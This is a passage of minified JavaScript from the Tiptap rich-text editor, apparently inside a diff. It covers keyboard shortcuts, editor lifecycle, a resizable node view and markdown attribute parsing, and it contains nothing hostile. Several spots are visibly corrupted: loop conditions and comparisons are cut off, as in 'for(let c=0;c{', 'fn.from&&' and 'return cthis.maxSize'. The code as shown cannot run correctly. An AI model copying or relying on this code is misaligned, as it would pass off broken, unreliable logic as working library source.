r=t.state.tr.setMeta("focus",{event:n}).setMeta("addToHistory",!1);return e.dispatch(r),!1},blur:(e,n)=>{t.isFocused=!1;const r=t.state.tr.setMeta("blur",{event:n}).setMeta("addToHistory",!1);return e.dispatch(r),!1}}}})]}}),H2=mn.create({name:"keymap",addKeyboardShortcuts(){const t=()=>this.editor.commands.first(({commands:o})=>[()=>o.undoInputRule(),()=>o.command(({tr:c})=>{const{selection:u,doc:h}=c,{empty:f,$anchor:m}=u,{pos:g,parent:y}=m,N=m.parent.isTextblock&&g>0?c.doc.resolve(g-1):m,w=N.parent.type.spec.isolating,v=m.pos-m.parentOffset,k=w&&N.parent.childCount===1?v===m.pos:rt.atStart(h).from===g;return!f||!y.type.isTextblock||y.textContent.length||!k||k&&m.parent.type.name==="paragraph"?!1:o.clearNodes()}),()=>o.deleteSelection(),()=>o.joinBackward(),()=>o.selectNodeBackward()]),e=()=>this.editor.commands.first(({commands:o})=>[()=>o.deleteSelection(),()=>o.deleteCurrentNode(),()=>o.joinForward(),()=>o.selectNodeForward()]),r={Enter:()=>this.editor.commands.first(({commands:o})=>[()=>o.newlineInCode(),()=>o.createParagraphNear(),()=>o.liftEmptyBlock(),()=>o.splitBlock()]),"Mod-Enter":()=>this.editor.commands.exitCode(),Backspace:t,"Mod-Backspace":t,"Shift-Backspace":t,Delete:e,"Mod-Delete":e,"Mod-a":()=>this.editor.commands.selectAll()},a={...r},i={...r,"Ctrl-h":t,"Alt-Backspace":t,"Ctrl-d":e,"Ctrl-Alt-Backspace":e,"Alt-Delete":e,"Alt-d":e,"Ctrl-a":()=>this.editor.commands.selectTextblockStart(),"Ctrl-e":()=>this.editor.commands.selectTextblockEnd()};return Th()||b2()?i:a},addProseMirrorPlugins(){return[new Kt({key:new tn("clearDocument"),appendTransaction:(t,e,n)=>{if(t.some(w=>w.getMeta("composition")))return;const r=t.some(w=>w.docChanged)&&!e.doc.eq(n.doc),a=t.some(w=>w.getMeta("preventClearDocument"));if(!r||a)return;const{empty:i,from:o,to:c}=e.selection,u=rt.atStart(e.doc).from,h=rt.atEnd(e.doc).to;if(i||!(o===u&&c===h)||!Of(n.doc))return;const g=n.tr,y=Af({state:n,transaction:g}),{commands:N}=new If({editor:this.editor,state:y});if(N.clearNodes(),!!g.steps.length)return g}})]}}),W2=mn.create({name:"paste",addProseMirrorPlugins(){return[new Kt({key:new tn("tiptapPaste"),props:{handlePaste:(t,e,n)=>{this.editor.emit("paste",{editor:this.editor,event:e,slice:n})}}})]}}),U2=mn.create({name:"tabindex",addProseMirrorPlugins(){return[new Kt({key:new tn("tabindex"),props:{attributes:()=>this.editor.isEditable?{tabindex:"0"}:{}}})]}}),K2=mn.create({name:"textDirection",addOptions(){return{direction:void 0}},addGlobalAttributes(){if(!this.options.direction)return[];const{nodeExtensions:t}=Tl(this.extensions);return[{types:t.filter(e=>e.name!=="text").map(e=>e.name),attributes:{dir:{default:this.options.direction,parseHTML:e=>{const n=e.getAttribute("dir");return n&&(n==="ltr"||n==="rtl"||n==="auto")?n:this.options.direction},renderHTML:e=>e.dir?{dir:e.dir}:{}}}}]},addProseMirrorPlugins(){return[new Kt({key:new tn("textDirection"),props:{attributes:()=>{const t=this.options.direction;return t?{dir:t}:{}}}})]}}),A6=class Pc{constructor(e,n,r=!1,a=null){this.currentNode=null,this.actualDepth=null,this.isBlock=r,this.resolvedPos=e,this.editor=n,this.currentNode=a}get name(){return this.node.type.name}get node(){return this.currentNode||this.resolvedPos.node()}get element(){return this.editor.view.domAtPos(this.pos).node}get depth(){var e;return(e=this.actualDepth)!=null?e:this.resolvedPos.depth}get pos(){return this.resolvedPos.pos}get content(){return this.node.content}set content(e){let n=this.from,r=this.to;if(this.isBlock){if(this.content.size===0){console.error(`You can’t set content on a block node. Tried to set content on ${this.name} at ${this.pos}`);return}n=this.from+1,r=this.to-1}this.editor.commands.insertContentAt({from:n,to:r},e)}get attributes(){return this.node.attrs}get textContent(){return this.node.textContent}get size(){return this.node.nodeSize}get from(){return this.isBlock?this.pos:this.resolvedPos.start(this.resolvedPos.depth)}get range(){return{from:this.from,to:this.to}}get to(){return this.isBlock?this.pos+this.size:this.resolvedPos.end(this.resolvedPos.depth)+(this.node.isText?0:1)}get parent(){if(this.depth===0)return null;const e=this.resolvedPos.start(this.resolvedPos.depth-1),n=this.resolvedPos.doc.resolve(e);return new Pc(n,this.editor)}get before(){let e=this.resolvedPos.doc.resolve(this.from-(this.isBlock?1:2));return e.depth!==this.depth&&(e=this.resolvedPos.doc.resolve(this.from-3)),new Pc(e,this.editor)}get after(){let e=this.resolvedPos.doc.resolve(this.to+(this.isBlock?2:1));return e.depth!==this.depth&&(e=this.resolvedPos.doc.resolve(this.to+3)),new Pc(e,this.editor)}get children(){const e=[];return this.node.content.forEach((n,r)=>{const a=n.isBlock&&!n.isTextblock,i=n.isAtom&&!n.isText,o=n.isInline,c=this.pos+r+(i?0:1);if(c<0||c>this.resolvedPos.doc.nodeSize-2)return;const u=this.resolvedPos.doc.resolve(c);if(!a&&!o&&u.depth<=this.depth)return;const h=new Pc(u,this.editor,a,a||o?n:null);a&&(h.actualDepth=this.depth+1),e.push(h)}),e}get firstChild(){return this.children[0]||null}get lastChild(){const e=this.children;return e[e.length-1]||null}closest(e,n={}){let r=null,a=this.parent;for(;a&&!r;){if(a.node.type.name===e)if(Object.keys(n).length>0){const i=a.node.attrs,o=Object.keys(n);for(let c=0;c{r&&a.length>0||(o.node.type.name===e&&i.every(u=>n[u]===o.node.attrs[u])&&a.push(o),!(r&&a.length>0)&&(a=a.concat(o.querySelectorAll(e,n,r))))}),a}setAttribute(e){const{tr:n}=this.editor.state;n.setNodeMarkup(this.from,void 0,{...this.node.attrs,...e}),this.editor.view.dispatch(n)}},I6=`.ProseMirror { position: relative; } @@ -684,7 +684,7 @@ img.ProseMirror-separator { display: block; }`;function R6(t,e,n){const r=document.querySelector("style[data-tiptap-style]");if(r!==null)return r;const a=document.createElement("style");return e&&a.setAttribute("nonce",e),a.setAttribute("data-tiptap-style",""),a.innerHTML=t,document.getElementsByTagName("head")[0].appendChild(a),a}var P6=class extends b6{constructor(t={}){super(),this.css=null,this.className="tiptap",this.editorView=null,this.isFocused=!1,this.isInitialized=!1,this.extensionStorage={},this.instanceId=Math.random().toString(36).slice(2,9),this.options={element:typeof document<"u"?document.createElement("div"):null,content:"",injectCSS:!0,injectNonce:void 0,extensions:[],autofocus:!1,editable:!0,textDirection:void 0,editorProps:{},parseOptions:{},coreExtensionOptions:{},enableInputRules:!0,enablePasteRules:!0,enableCoreExtensions:!0,enableContentCheck:!1,emitContentError:!1,onBeforeCreate:()=>null,onCreate:()=>null,onMount:()=>null,onUnmount:()=>null,onUpdate:()=>null,onSelectionUpdate:()=>null,onTransaction:()=>null,onFocus:()=>null,onBlur:()=>null,onDestroy:()=>null,onContentError:({error:r})=>{throw r},onPaste:()=>null,onDrop:()=>null,onDelete:()=>null,enableExtensionDispatchTransaction:!0},this.isCapturingTransaction=!1,this.capturedTransaction=null,this.utils={getUpdatedPosition:Y8,createMappablePosition:Q8},this.setOptions(t),this.createExtensionManager(),this.createCommandManager(),this.createSchema(),this.on("beforeCreate",this.options.onBeforeCreate),this.emit("beforeCreate",{editor:this}),this.on("mount",this.options.onMount),this.on("unmount",this.options.onUnmount),this.on("contentError",this.options.onContentError),this.on("create",this.options.onCreate),this.on("update",this.options.onUpdate),this.on("selectionUpdate",this.options.onSelectionUpdate),this.on("transaction",this.options.onTransaction),this.on("focus",this.options.onFocus),this.on("blur",this.options.onBlur),this.on("destroy",this.options.onDestroy),this.on("drop",({event:r,slice:a,moved:i})=>this.options.onDrop(r,a,i)),this.on("paste",({event:r,slice:a})=>this.options.onPaste(r,a)),this.on("delete",this.options.onDelete);const e=this.createDoc(),n=x2(e,this.options.autofocus);this.editorState=xl.create({doc:e,schema:this.schema,selection:n||void 0}),this.options.element&&this.mount(this.options.element)}mount(t){if(typeof document>"u")throw new Error("[tiptap error]: The editor cannot be mounted because there is no 'document' defined in this environment.");this.createView(t),this.emit("mount",{editor:this}),this.css&&!document.head.contains(this.css)&&document.head.appendChild(this.css),window.setTimeout(()=>{this.isDestroyed||(this.options.autofocus!==!1&&this.options.autofocus!==null&&this.commands.focus(this.options.autofocus),this.emit("create",{editor:this}),this.isInitialized=!0)},0)}unmount(){if(this.editorView){const t=this.editorView.dom;t!=null&&t.editor&&delete t.editor,this.editorView.destroy()}if(this.editorView=null,this.isInitialized=!1,this.css&&!document.querySelectorAll(`.${this.className}`).length)try{typeof this.css.remove=="function"?this.css.remove():this.css.parentNode&&this.css.parentNode.removeChild(this.css)}catch(t){console.warn("Failed to remove CSS element:",t)}this.css=null,this.emit("unmount",{editor:this})}get storage(){return this.extensionStorage}get commands(){return this.commandManager.commands}chain(){return this.commandManager.chain()}can(){return this.commandManager.can()}injectCSS(){this.options.injectCSS&&typeof document<"u"&&(this.css=R6(I6,this.options.injectNonce))}setOptions(t={}){this.options={...this.options,...t},!(!this.editorView||!this.state||this.isDestroyed)&&(this.options.editorProps&&this.view.setProps(this.options.editorProps),this.view.updateState(this.state))}setEditable(t,e=!0){this.setOptions({editable:t}),e&&this.emit("update",{editor:this,transaction:this.state.tr,appendedTransactions:[]})}get isEditable(){return this.options.editable&&this.view&&this.view.editable}get view(){return this.editorView?this.editorView:new Proxy({state:this.editorState,updateState:t=>{this.editorState=t},dispatch:t=>{this.dispatchTransaction(t)},composing:!1,dragging:null,editable:!0,isDestroyed:!1},{get:(t,e)=>{if(this.editorView)return this.editorView[e];if(e==="state")return this.editorState;if(e in t)return Reflect.get(t,e);throw new Error(`[tiptap error]: The editor view is not available. Cannot access view['${e}']. The editor may not be mounted yet.`)}})}get state(){return this.editorView&&(this.editorState=this.view.state),this.editorState}registerPlugin(t,e){const n=j2(e)?e(t,[...this.state.plugins]):[...this.state.plugins,t],r=this.state.reconfigure({plugins:n});return this.view.updateState(r),r}unregisterPlugin(t){if(this.isDestroyed)return;const e=this.state.plugins;let n=e;if([].concat(t).forEach(a=>{const i=typeof a=="string"?`${a}$`:a.key;n=n.filter(o=>!o.key.startsWith(i))}),e.length===n.length)return;const r=this.state.reconfigure({plugins:n});return this.view.updateState(r),r}createExtensionManager(){var t,e;const r=[...this.options.enableCoreExtensions?[F2,L2.configure({blockSeparator:(e=(t=this.options.coreExtensionOptions)==null?void 0:t.clipboardTextSerializer)==null?void 0:e.blockSeparator}),_2,V2,H2,U2,$2,W2,z2,K2.configure({direction:this.options.textDirection})].filter(a=>typeof this.options.enableCoreExtensions=="object"?this.options.enableCoreExtensions[a.name]!==!1:!0):[],...this.options.extensions].filter(a=>["extension","node","mark"].includes(a==null?void 0:a.type));this.extensionManager=new Lf(r,this)}createCommandManager(){this.commandManager=new If({editor:this})}createSchema(){this.schema=this.extensionManager.schema}createDoc(){let t;try{t=ix(this.options.content,this.schema,this.options.parseOptions,{errorOnInvalidContent:this.options.enableContentCheck})}catch(e){if(!(e instanceof Error)||!["[tiptap error]: Invalid JSON content","[tiptap error]: Invalid HTML content"].includes(e.message))throw e;this.emit("contentError",{editor:this,error:e,disableCollaboration:()=>{"collaboration"in this.storage&&typeof this.storage.collaboration=="object"&&this.storage.collaboration&&(this.storage.collaboration.isDisabled=!0),this.options.extensions=this.options.extensions.filter(n=>n.name!=="collaboration"),this.createExtensionManager()}}),t=ix(this.options.content,this.schema,this.options.parseOptions,{errorOnInvalidContent:!1})}return t}createView(t){const{editorProps:e,enableExtensionDispatchTransaction:n}=this.options,r=e.dispatchTransaction||this.dispatchTransaction.bind(this),a=n?this.extensionManager.dispatchTransaction(r):r,i=e.transformPastedHTML,o=this.extensionManager.transformPastedHTML(i);this.editorView=new f2(t,{...e,attributes:{role:"textbox",...e==null?void 0:e.attributes},dispatchTransaction:a,transformPastedHTML:o,state:this.editorState,markViews:this.extensionManager.markViews,nodeViews:this.extensionManager.nodeViews});const c=this.state.reconfigure({plugins:this.extensionManager.plugins});this.view.updateState(c),this.prependClass(),this.injectCSS();const u=this.view.dom;u.editor=this}createNodeViews(){this.view.isDestroyed||this.view.setProps({markViews:this.extensionManager.markViews,nodeViews:this.extensionManager.nodeViews})}prependClass(){this.view.dom.className=`${this.className} ${this.view.dom.className}`}captureTransaction(t){this.isCapturingTransaction=!0,t(),this.isCapturingTransaction=!1;const e=this.capturedTransaction;return this.capturedTransaction=null,e}dispatchTransaction(t){if(this.view.isDestroyed)return;if(this.isCapturingTransaction){if(!this.capturedTransaction){this.capturedTransaction=t;return}t.steps.forEach(h=>{var f;return(f=this.capturedTransaction)==null?void 0:f.step(h)});return}const{state:e,transactions:n}=this.state.applyTransaction(t),r=!this.state.selection.eq(e.selection),a=n.includes(t),i=this.state;if(this.emit("beforeTransaction",{editor:this,transaction:t,nextState:e}),!a)return;this.view.updateState(e),this.emit("transaction",{editor:this,transaction:t,appendedTransactions:n.slice(1)}),r&&this.emit("selectionUpdate",{editor:this,transaction:t});const o=n.findLast(h=>h.getMeta("focus")||h.getMeta("blur")),c=o==null?void 0:o.getMeta("focus"),u=o==null?void 0:o.getMeta("blur");c&&this.emit("focus",{editor:this,event:c.event,transaction:o}),u&&this.emit("blur",{editor:this,event:u.event,transaction:o}),!(t.getMeta("preventUpdate")||!n.some(h=>h.docChanged)||i.doc.eq(e.doc))&&this.emit("update",{editor:this,transaction:t,appendedTransactions:n.slice(1)})}getAttributes(t){return T2(this.state,t)}isActive(t,e){const n=typeof t=="string"?t:null,r=typeof t=="string"?e:t;return q8(this.state,n,r)}getJSON(){return this.state.doc.toJSON()}getHTML(){return M0(this.state.doc.content,this.schema)}getText(t){const{blockSeparator:e=` -`,textSerializers:n={}}=t||{};return B8(this.state.doc,{blockSeparator:e,textSerializers:{...E2(this.schema),...n}})}get isEmpty(){return Of(this.state.doc)}destroy(){this.emit("destroy"),this.unmount(),this.removeAllListeners()}get isDestroyed(){var t,e;return(e=(t=this.editorView)==null?void 0:t.isDestroyed)!=null?e:!0}$node(t,e){var n;return((n=this.$doc)==null?void 0:n.querySelector(t,e))||null}$nodes(t,e){var n;return((n=this.$doc)==null?void 0:n.querySelectorAll(t,e))||null}$pos(t){const e=this.state.doc.resolve(t);return new A6(e,this)}get $doc(){return this.$pos(0)}};function Ml(t){return new Df({find:t.find,handler:({state:e,range:n,match:r})=>{const a=jt(t.getAttributes,void 0,r);if(a===!1||a===null)return null;const{tr:i}=e,o=r[r.length-1],c=r[0];if(o){const u=c.search(/\S/),h=n.from+c.indexOf(o),f=h+o.length;if(A0(n.from,n.to,e.doc).filter(y=>y.mark.type.excluded.find(w=>w===t.type&&w!==y.mark.type)).filter(y=>y.to>h).length)return null;fn.from&&i.delete(n.from+u,h);const g=n.from+u+o.length;i.addMark(n.from+u,g,t.type.create(a||{})),i.removeStoredMark(t.type)}},undoable:t.undoable})}function q2(t){return new Df({find:t.find,handler:({state:e,range:n,match:r})=>{const a=jt(t.getAttributes,void 0,r)||{},{tr:i}=e,o=n.from;let c=n.to;const u=t.type.create(a);if(r[1]){const h=r[0].lastIndexOf(r[1]);let f=o+h;f>c?f=c:c=f+r[1].length;const m=r[0][r[0].length-1];i.insertText(m,o+r[0].length-1),i.replaceWith(f,c,u)}else if(r[0]){const h=t.type.isInline?o:o-1;i.insert(h,t.type.create(a)).delete(i.mapping.map(o),i.mapping.map(c))}i.scrollIntoView()},undoable:t.undoable})}function lx(t){return new Df({find:t.find,handler:({state:e,range:n,match:r})=>{const a=e.doc.resolve(n.from),i=jt(t.getAttributes,void 0,r)||{};if(!a.node(-1).canReplaceWith(a.index(-1),a.indexAfter(-1),t.type))return null;e.tr.delete(n.from,n.to).setBlockType(n.from,n.from,t.type,i)},undoable:t.undoable})}function Al(t){return new Df({find:t.find,handler:({state:e,range:n,match:r,chain:a})=>{const i=jt(t.getAttributes,void 0,r)||{},o=e.tr.delete(n.from,n.to),u=o.doc.resolve(n.from).blockRange(),h=u&&o0(u,t.type,i);if(!h)return null;if(o.wrap(u,h),t.keepMarks&&t.editor){const{selection:m,storedMarks:g}=e,{splittableMarks:y}=t.editor.extensionManager,N=g||m.$to.parentOffset&&m.$from.marks();if(N){const w=N.filter(v=>y.includes(v.type.name));o.ensureMarks(w)}}if(t.keepAttributes){const m=t.type.name==="bulletList"||t.type.name==="orderedList"?"listItem":"taskList";a().updateAttributes(m,i).run()}const f=o.doc.resolve(n.from-1).nodeBefore;f&&f.type===t.type&&Ti(o.doc,n.from-1)&&(!t.joinPredicate||t.joinPredicate(r,f))&&o.join(n.from-1)},undoable:t.undoable})}var O6=t=>"touches"in t,D6=class{constructor(t){this.directions=["bottom-left","bottom-right","top-left","top-right"],this.minSize={height:8,width:8},this.preserveAspectRatio=!1,this.classNames={container:"",wrapper:"",handle:"",resizing:""},this.initialWidth=0,this.initialHeight=0,this.aspectRatio=1,this.isResizing=!1,this.activeHandle=null,this.startX=0,this.startY=0,this.startWidth=0,this.startHeight=0,this.isShiftKeyPressed=!1,this.lastEditableState=void 0,this.handleMap=new Map,this.handleMouseMove=c=>{if(!this.isResizing||!this.activeHandle)return;const u=c.clientX-this.startX,h=c.clientY-this.startY;this.handleResize(u,h)},this.handleTouchMove=c=>{if(!this.isResizing||!this.activeHandle)return;const u=c.touches[0];if(!u)return;const h=u.clientX-this.startX,f=u.clientY-this.startY;this.handleResize(h,f)},this.handleMouseUp=()=>{if(!this.isResizing)return;const c=this.element.offsetWidth,u=this.element.offsetHeight;this.onCommit(c,u),this.isResizing=!1,this.activeHandle=null,this.container.dataset.resizeState="false",this.classNames.resizing&&this.container.classList.remove(this.classNames.resizing),document.removeEventListener("mousemove",this.handleMouseMove),document.removeEventListener("mouseup",this.handleMouseUp),document.removeEventListener("keydown",this.handleKeyDown),document.removeEventListener("keyup",this.handleKeyUp)},this.handleKeyDown=c=>{c.key==="Shift"&&(this.isShiftKeyPressed=!0)},this.handleKeyUp=c=>{c.key==="Shift"&&(this.isShiftKeyPressed=!1)};var e,n,r,a,i,o;this.node=t.node,this.editor=t.editor,this.element=t.element,this.contentElement=t.contentElement,this.getPos=t.getPos,this.onResize=t.onResize,this.onCommit=t.onCommit,this.onUpdate=t.onUpdate,(e=t.options)!=null&&e.min&&(this.minSize={...this.minSize,...t.options.min}),(n=t.options)!=null&&n.max&&(this.maxSize=t.options.max),(r=t==null?void 0:t.options)!=null&&r.directions&&(this.directions=t.options.directions),(a=t.options)!=null&&a.preserveAspectRatio&&(this.preserveAspectRatio=t.options.preserveAspectRatio),(i=t.options)!=null&&i.className&&(this.classNames={container:t.options.className.container||"",wrapper:t.options.className.wrapper||"",handle:t.options.className.handle||"",resizing:t.options.className.resizing||""}),(o=t.options)!=null&&o.createCustomHandle&&(this.createCustomHandle=t.options.createCustomHandle),this.wrapper=this.createWrapper(),this.container=this.createContainer(),this.applyInitialSize(),this.attachHandles(),this.editor.on("update",this.handleEditorUpdate.bind(this))}get dom(){return this.container}get contentDOM(){var t;return(t=this.contentElement)!=null?t:null}handleEditorUpdate(){const t=this.editor.isEditable;t!==this.lastEditableState&&(this.lastEditableState=t,t?t&&this.handleMap.size===0&&this.attachHandles():this.removeHandles())}update(t,e,n){return t.type!==this.node.type?!1:(this.node=t,this.onUpdate?this.onUpdate(t,e,n):!0)}destroy(){this.isResizing&&(this.container.dataset.resizeState="false",this.classNames.resizing&&this.container.classList.remove(this.classNames.resizing),document.removeEventListener("mousemove",this.handleMouseMove),document.removeEventListener("mouseup",this.handleMouseUp),document.removeEventListener("keydown",this.handleKeyDown),document.removeEventListener("keyup",this.handleKeyUp),this.isResizing=!1,this.activeHandle=null),this.editor.off("update",this.handleEditorUpdate.bind(this)),this.container.remove()}createContainer(){const t=document.createElement("div");return t.dataset.resizeContainer="",t.dataset.node=this.node.type.name,t.style.display="flex",this.classNames.container&&(t.className=this.classNames.container),t.appendChild(this.wrapper),t}createWrapper(){const t=document.createElement("div");return t.style.position="relative",t.style.display="block",t.dataset.resizeWrapper="",this.classNames.wrapper&&(t.className=this.classNames.wrapper),t.appendChild(this.element),t}createHandle(t){const e=document.createElement("div");return e.dataset.resizeHandle=t,e.style.position="absolute",this.classNames.handle&&(e.className=this.classNames.handle),e}positionHandle(t,e){const n=e.includes("top"),r=e.includes("bottom"),a=e.includes("left"),i=e.includes("right");n&&(t.style.top="0"),r&&(t.style.bottom="0"),a&&(t.style.left="0"),i&&(t.style.right="0"),(e==="top"||e==="bottom")&&(t.style.left="0",t.style.right="0"),(e==="left"||e==="right")&&(t.style.top="0",t.style.bottom="0")}attachHandles(){this.directions.forEach(t=>{let e;this.createCustomHandle?e=this.createCustomHandle(t):e=this.createHandle(t),e instanceof HTMLElement||(console.warn(`[ResizableNodeView] createCustomHandle("${t}") did not return an HTMLElement. Falling back to default handle.`),e=this.createHandle(t)),this.createCustomHandle||this.positionHandle(e,t),e.addEventListener("mousedown",n=>this.handleResizeStart(n,t)),e.addEventListener("touchstart",n=>this.handleResizeStart(n,t)),this.handleMap.set(t,e),this.wrapper.appendChild(e)})}removeHandles(){this.handleMap.forEach(t=>t.remove()),this.handleMap.clear()}applyInitialSize(){const t=this.node.attrs.width,e=this.node.attrs.height;t?(this.element.style.width=`${t}px`,this.initialWidth=t):this.initialWidth=this.element.offsetWidth,e?(this.element.style.height=`${e}px`,this.initialHeight=e):this.initialHeight=this.element.offsetHeight,this.initialWidth>0&&this.initialHeight>0&&(this.aspectRatio=this.initialWidth/this.initialHeight)}handleResizeStart(t,e){t.preventDefault(),t.stopPropagation(),this.isResizing=!0,this.activeHandle=e,O6(t)?(this.startX=t.touches[0].clientX,this.startY=t.touches[0].clientY):(this.startX=t.clientX,this.startY=t.clientY),this.startWidth=this.element.offsetWidth,this.startHeight=this.element.offsetHeight,this.startWidth>0&&this.startHeight>0&&(this.aspectRatio=this.startWidth/this.startHeight),this.getPos(),this.container.dataset.resizeState="true",this.classNames.resizing&&this.container.classList.add(this.classNames.resizing),document.addEventListener("mousemove",this.handleMouseMove),document.addEventListener("touchmove",this.handleTouchMove),document.addEventListener("mouseup",this.handleMouseUp),document.addEventListener("keydown",this.handleKeyDown),document.addEventListener("keyup",this.handleKeyUp)}handleResize(t,e){if(!this.activeHandle)return;const n=this.preserveAspectRatio||this.isShiftKeyPressed,{width:r,height:a}=this.calculateNewDimensions(this.activeHandle,t,e),i=this.applyConstraints(r,a,n);this.element.style.width=`${i.width}px`,this.element.style.height=`${i.height}px`,this.onResize&&this.onResize(i.width,i.height)}calculateNewDimensions(t,e,n){let r=this.startWidth,a=this.startHeight;const i=t.includes("right"),o=t.includes("left"),c=t.includes("bottom"),u=t.includes("top");return i?r=this.startWidth+e:o&&(r=this.startWidth-e),c?a=this.startHeight+n:u&&(a=this.startHeight-n),(t==="right"||t==="left")&&(r=this.startWidth+(i?e:-e)),(t==="top"||t==="bottom")&&(a=this.startHeight+(c?n:-n)),this.preserveAspectRatio||this.isShiftKeyPressed?this.applyAspectRatio(r,a,t):{width:r,height:a}}applyConstraints(t,e,n){var r,a,i,o;if(!n){let h=Math.max(this.minSize.width,t),f=Math.max(this.minSize.height,e);return(r=this.maxSize)!=null&&r.width&&(h=Math.min(this.maxSize.width,h)),(a=this.maxSize)!=null&&a.height&&(f=Math.min(this.maxSize.height,f)),{width:h,height:f}}let c=t,u=e;return cthis.maxSize.width&&(c=this.maxSize.width,u=c/this.aspectRatio),(o=this.maxSize)!=null&&o.height&&u>this.maxSize.height&&(u=this.maxSize.height,c=u*this.aspectRatio),{width:c,height:u}}applyAspectRatio(t,e,n){const r=n==="left"||n==="right",a=n==="top"||n==="bottom";return r?{width:t,height:t/this.aspectRatio}:a?{width:e*this.aspectRatio,height:e}:{width:t,height:t/this.aspectRatio}}};function L6(t,e){const{selection:n}=t,{$from:r}=n;if(n instanceof Xe){const i=r.index();return r.parent.canReplaceWith(i,i+1,e)}let a=r.depth;for(;a>=0;){const i=r.index(a);if(r.node(a).contentMatchAt(i).matchType(e))return!0;a-=1}return!1}function _6(t){return t.replace(/[-/\\^$*+?.()|[\]{}]/g,"\\$&")}var z6={};S0(z6,{createAtomBlockMarkdownSpec:()=>$6,createBlockMarkdownSpec:()=>F6,createInlineMarkdownSpec:()=>G2,parseAttributes:()=>R0,parseIndentedBlocks:()=>cx,renderNestedMarkdownContent:()=>O0,serializeAttributes:()=>P0});function R0(t){if(!(t!=null&&t.trim()))return{};const e={},n=[],r=t.replace(/["']([^"']*)["']/g,h=>(n.push(h),`__QUOTED_${n.length-1}__`)),a=r.match(/(?:^|\s)\.([a-zA-Z][\w-]*)/g);if(a){const h=a.map(f=>f.trim().slice(1));e.class=h.join(" ")}const i=r.match(/(?:^|\s)#([a-zA-Z][\w-]*)/);i&&(e.id=i[1]);const o=/([a-zA-Z][\w-]*)\s*=\s*(__QUOTED_\d+__)/g;Array.from(r.matchAll(o)).forEach(([,h,f])=>{var m;const g=parseInt(((m=f.match(/__QUOTED_(\d+)__/))==null?void 0:m[1])||"0",10),y=n[g];y&&(e[h]=y.slice(1,-1))});const u=r.replace(/(?:^|\s)\.([a-zA-Z][\w-]*)/g,"").replace(/(?:^|\s)#([a-zA-Z][\w-]*)/g,"").replace(/([a-zA-Z][\w-]*)\s*=\s*__QUOTED_\d+__/g,"").trim();return u&&u.split(/\s+/).filter(Boolean).forEach(f=>{f.match(/^[a-zA-Z][\w-]*$/)&&(e[f]=!0)}),e}function P0(t){if(!t||Object.keys(t).length===0)return"";const e=[];return t.class&&String(t.class).split(/\s+/).filter(Boolean).forEach(r=>e.push(`.${r}`)),t.id&&e.push(`#${t.id}`),Object.entries(t).forEach(([n,r])=>{n==="class"||n==="id"||(r===!0?e.push(n):r!==!1&&r!=null&&e.push(`${n}="${String(r)}"`))}),e.join(" ")}function $6(t){const{nodeName:e,name:n,parseAttributes:r=R0,serializeAttributes:a=P0,defaultAttributes:i={},requiredAttributes:o=[],allowedAttributes:c}=t,u=n||e,h=f=>{if(!c)return f;const m={};return c.forEach(g=>{g in f&&(m[g]=f[g])}),m};return{parseMarkdown:(f,m)=>{const g={...i,...f.attributes};return m.createNode(e,g,[])},markdownTokenizer:{name:e,level:"block",start(f){var m;const g=new RegExp(`^:::${u}(?:\\s|$)`,"m"),y=(m=f.match(g))==null?void 0:m.index;return y!==void 0?y:-1},tokenize(f,m,g){const y=new RegExp(`^:::${u}(?:\\s+\\{([^}]*)\\})?\\s*:::(?:\\n|$)`),N=f.match(y);if(!N)return;const w=N[1]||"",v=r(w);if(!o.find(C=>!(C in v)))return{type:e,raw:N[0],attributes:v}}},renderMarkdown:f=>{const m=h(f.attrs||{}),g=a(m),y=g?` {${g}}`:"";return`:::${u}${y} :::`}}}function F6(t){const{nodeName:e,name:n,getContent:r,parseAttributes:a=R0,serializeAttributes:i=P0,defaultAttributes:o={},content:c="block",allowedAttributes:u}=t,h=n||e,f=m=>{if(!u)return m;const g={};return u.forEach(y=>{y in m&&(g[y]=m[y])}),g};return{parseMarkdown:(m,g)=>{let y;if(r){const w=r(m);y=typeof w=="string"?[{type:"text",text:w}]:w}else c==="block"?y=g.parseChildren(m.tokens||[]):y=g.parseInline(m.tokens||[]);const N={...o,...m.attributes};return g.createNode(e,N,y)},markdownTokenizer:{name:e,level:"block",start(m){var g;const y=new RegExp(`^:::${h}`,"m"),N=(g=m.match(y))==null?void 0:g.index;return N!==void 0?N:-1},tokenize(m,g,y){var N;const w=new RegExp(`^:::${h}(?:\\s+\\{([^}]*)\\})?\\s*\\n`),v=m.match(w);if(!v)return;const[k,C=""]=v,E=a(C);let T=1;const I=k.length;let O="";const L=/^:::([\w-]*)(\s.*)?/gm,R=m.slice(I);for(L.lastIndex=0;;){const D=L.exec(R);if(D===null)break;const _=D.index,Z=D[1];if(!((N=D[2])!=null&&N.endsWith(":::"))){if(Z)T+=1;else if(T-=1,T===0){const ne=R.slice(0,_);O=ne.trim();const fe=m.slice(0,I+_+D[0].length);let xe=[];if(O)if(c==="block")for(xe=y.blockTokens(ne),xe.forEach($=>{$.text&&(!$.tokens||$.tokens.length===0)&&($.tokens=y.inlineTokens($.text))});xe.length>0;){const $=xe[xe.length-1];if($.type==="paragraph"&&(!$.text||$.text.trim()===""))xe.pop();else break}else xe=y.inlineTokens(O);return{type:e,raw:fe,attributes:E,content:O,tokens:xe}}}}}},renderMarkdown:(m,g)=>{const y=f(m.attrs||{}),N=i(y),w=N?` {${N}}`:"",v=g.renderChildren(m.content||[],` +`,textSerializers:n={}}=t||{};return B8(this.state.doc,{blockSeparator:e,textSerializers:{...E2(this.schema),...n}})}get isEmpty(){return Of(this.state.doc)}destroy(){this.emit("destroy"),this.unmount(),this.removeAllListeners()}get isDestroyed(){var t,e;return(e=(t=this.editorView)==null?void 0:t.isDestroyed)!=null?e:!0}$node(t,e){var n;return((n=this.$doc)==null?void 0:n.querySelector(t,e))||null}$nodes(t,e){var n;return((n=this.$doc)==null?void 0:n.querySelectorAll(t,e))||null}$pos(t){const e=this.state.doc.resolve(t);return new A6(e,this)}get $doc(){return this.$pos(0)}};function Ml(t){return new Df({find:t.find,handler:({state:e,range:n,match:r})=>{const a=jt(t.getAttributes,void 0,r);if(a===!1||a===null)return null;const{tr:i}=e,o=r[r.length-1],c=r[0];if(o){const u=c.search(/\S/),h=n.from+c.indexOf(o),f=h+o.length;if(A0(n.from,n.to,e.doc).filter(y=>y.mark.type.excluded.find(w=>w===t.type&&w!==y.mark.type)).filter(y=>y.to>h).length)return null;fn.from&&i.delete(n.from+u,h);const g=n.from+u+o.length;i.addMark(n.from+u,g,t.type.create(a||{})),i.removeStoredMark(t.type)}},undoable:t.undoable})}function q2(t){return new Df({find:t.find,handler:({state:e,range:n,match:r})=>{const a=jt(t.getAttributes,void 